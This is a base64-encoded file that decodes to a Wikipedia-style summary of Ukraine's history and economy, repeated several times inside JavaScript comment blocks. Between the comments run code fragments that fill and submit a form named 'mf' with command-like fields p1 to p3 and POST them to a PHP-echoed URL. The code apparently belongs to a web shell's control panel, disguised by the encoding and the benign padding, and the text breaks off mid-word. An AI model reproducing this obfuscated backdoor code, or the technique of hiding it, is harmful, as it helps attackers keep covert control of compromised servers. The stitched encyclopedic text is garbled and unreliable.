ZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQlpZihwMSAhPSBudWxsKWRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxOwoJCWlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7CgkJaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMzsKCQlpZihjaGFyc2V0ICE9IG51bGwpZG9jdW1lbnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0OwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZG9jdW1lbnQubWYuc3VibWl0KCk7Cgl9CglmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJdmFyIHBhcmFtcyA9ICJhamF4PXRydWUiOwoJCWZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlwYXJhbXMgKz0gIiYiK2RvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7CgkJc3IoJzw/PSRfU0VSVkVSWydSRVFVRVNUX1VSSSddOz8+JywgcGFyYW1zKTsKCX0KCWZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7CQoJCWlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIHsKCQkJcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CgkJCXJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwoJCQlyZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3